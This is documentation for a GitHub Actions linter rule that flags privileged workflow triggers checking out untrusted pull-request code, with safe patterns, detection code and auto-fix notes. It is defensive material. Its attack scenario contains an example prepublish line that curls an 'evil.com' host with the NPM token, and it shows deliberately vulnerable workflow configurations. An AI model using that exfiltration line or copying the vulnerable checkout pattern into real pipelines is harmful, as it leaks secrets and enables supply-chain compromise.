Untrusted Checkout Rule Overview #
This rule detects when workflows with privileged triggers check out untrusted code from pull requests. This is a critical security vulnerability (CVSS 9.3) that allows attackers to exfiltrate secrets or compromise the repository.
Vulnerable Example:
name: PR Build
on: pull_request_target # Dangerous: Runs in base repo context with secrets access
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Checking out untrusted PR code
- run: npm install # Malicious code can access ${{ secrets.NPM_TOKEN }}
Detection Output:
vulnerable.yaml:9:16: checking out untrusted code from pull request in workflow with privileged trigger 'pull_request_target' (line 2). This allows potentially malicious code from external contributors to execute with access to repository secrets. Use 'pull_request' trigger instead, or avoid checking out PR code when using 'pull_request_target'. See https://codeql.github.com/codeql-query-help/actions/actions-untrusted-checkout-critical/ for more details [untrusted-checkout]
9 π| ref: ${{ github.event.pull_request.head.sha }}
Security Background #
Why is this dangerous? #
GitHub Actions provides different trigger types that run with different permission levels:
| Trigger | Context | Secrets Access | Write Permissions |
|---|---|---|---|
pull_request | PR context (fork) | β No | β No (read-only) |
pull_request_target | Base repo context | β Yes | β Yes |
issue_comment | Base repo context | β Yes | β Yes |
workflow_run | Base repo context | β Yes | β Yes |
workflow_call | Inherits from caller | β Yes (if caller has) | β Yes (if caller has) |
The Vulnerability: When a workflow uses pull_request_target, issue_comment, workflow_run, or workflow_call triggers and explicitly checks out code from the pull request HEAD, it creates a Poisoned Pipeline Execution vulnerability. External attackers can:
- Exfiltrate Secrets: Access
${{ secrets.* }}values - Modify Repository: Push malicious commits or tags
- Compromise CI/CD: Poison build artifacts or deployment pipelines
- Supply Chain Attack: Inject malicious code into packages
Real-World Attack Scenario #
on: pull_request_target # Attacker creates PR from fork
jobs:
publish:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Checks out attacker's code
- run: npm publish # Attacker's package.json contains:
# "scripts": { "prepublish": "curl https://evil.com?token=$NPM_TOKEN" }
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # Secret is exposed!
OWASP and CWE Mapping #
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere
- OWASP Top 10 CI/CD Security Risks:
- CICD-SEC-4: Poisoned Pipeline Execution (PPE)
Technical Detection Mechanism #
The rule performs three-step detection:
Step 1: Identify Privileged Triggers
// In VisitWorkflowPre
for _, event := range workflow.On {
if webhookEvent, ok := event.(*ast.WebhookEvent); ok {
triggerName := webhookEvent.EventName()
switch triggerName {
case "pull_request_target", "issue_comment", "workflow_run":
// Mark workflow as having dangerous trigger
rule.hasDangerousTrigger = true
}
}
}
Step 2: Find Checkout Actions
// In VisitStep
if action, ok := step.Exec.(*ast.ExecAction); ok {
if strings.HasPrefix(action.Uses.Value, "actions/checkout@") {
// Found checkout action - check ref parameter
}
}
Step 3: Analyze Ref Parameter
// Check if ref points to PR HEAD
refInput := action.Inputs["ref"]
if refInput != nil && refInput.Value.ContainsExpression() {
// Parse expressions like ${{ github.event.pull_request.head.sha }}
if isUntrustedPRExpression(refInput.Value) {
// REPORT ERROR
}
}
Detection Logic Explanation #
Dangerous Triggers Detected #
pull_request_target- Runs in base repository context
- Has access to all repository secrets
- Can write to the base repository
- Commonly misused for PR validation workflows
issue_comment- Triggered by comments on PRs from external contributors
- Runs with write permissions
- Can be abused if PR code is checked out
workflow_run- Triggered after another workflow completes
- Runs in base repository context with secrets access
- Used for trusted workflow separation, but dangerous if misused
workflow_call- Enables workflow reuse by allowing one workflow to call another
- Inherits the security context of the calling workflow
- Can be privileged if called from a privileged workflow (e.g., one triggered by
pull_request_target) - Dangerous when it checks out untrusted PR code
Untrusted Ref Patterns #
The rule detects these dangerous ref expressions:
${{ github.event.pull_request.head.sha }}- PR HEAD commit SHA${{ github.event.pull_request.head.ref }}- PR HEAD branch reference- Any expression containing
github.event.pull_request.head.*
Safe Patterns #
β
Safe Alternative 1: Use pull_request trigger
on: pull_request # No secrets access, read-only permissions
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4 # Safe: defaults to PR merge commit
- run: npm test # No access to secrets
β Safe Alternative 2: Don’t checkout PR code
on: pull_request_target
jobs:
label:
runs-on: ubuntu-latest
steps:
# No checkout - only use GitHub API
- uses: actions/github-script@v7
with:
script: |
github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.name,
issue_number: context.issue.number,
labels: ['reviewed']
})
β Safe Alternative 3: Two-workflow pattern
# Workflow 1: Untrusted (pull_request trigger)
name: Build PR
on: pull_request
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test
- uses: actions/upload-artifact@v4
with:
name: test-results
path: results.json
# Workflow 2: Trusted (workflow_run trigger)
name: Publish Results
on:
workflow_run:
workflows: ["Build PR"]
types: [completed]
jobs:
publish:
runs-on: ubuntu-latest
steps:
# No checkout of PR code - only download artifacts
- uses: actions/download-artifact@v4
- run: publish-results # Can safely use secrets here
env:
API_TOKEN: ${{ secrets.API_TOKEN }}
False Positives #
The rule has very few false positives because:
- It only triggers when both conditions are met (privileged trigger + untrusted checkout)
- Safe checkout patterns are explicitly allowed:
- No
refparameter (defaults to trigger SHA - safe) ref: ${{ github.sha }}(base branch - safe)ref: main(literal branch names - safe)pull_requesttrigger (no privileges - safe)
- No
References #
GitHub Documentation #
Security Research #
OWASP Resources #
Auto-Fix #
This rule supports automatic fixing. When you run sisakulint with the -fix on flag, it will automatically replace dangerous ref parameters with a safe default.
Auto-fix behavior:
- Replaces
ref: ${{ github.event.pull_request.head.sha }}withref: ${{ github.sha }} - Replaces
ref: ${{ github.event.pull_request.head.ref }}withref: ${{ github.sha }} github.shapoints to the base branch SHA, which is safe to checkout
Example:
Before auto-fix:
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
After running sisakulint -fix on:
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.sha }}
Note: Auto-fix provides a safe default, but you should review whether your workflow actually needs to checkout code at all when using privileged triggers. Consider using the two-workflow pattern or removing the checkout step entirely if appropriate.
Remediation Steps #
When this rule triggers:
Use auto-fix for quick remediation
- Run
sisakulint -fix onto automatically replace dangerous refs with safe defaults - Review the changes to ensure they meet your workflow requirements
- Run
Assess if you need privileged access
- If you don’t need secrets or write permissions, switch to
pull_requesttrigger
- If you don’t need secrets or write permissions, switch to
Use the two-workflow pattern
- Separate untrusted execution (PR code) from privileged operations (secrets access)
Avoid checking out PR code
- If using
pull_request_targetfor labeling or commenting, use GitHub API instead of checking out code
- If using
Review existing workflows
- Audit all workflows using
pull_request_target,issue_comment,workflow_run, orworkflow_call - Ensure no PR code is executed in privileged contexts
- Audit all workflows using
Additional Resources #
For more information on securing GitHub Actions workflows, see:
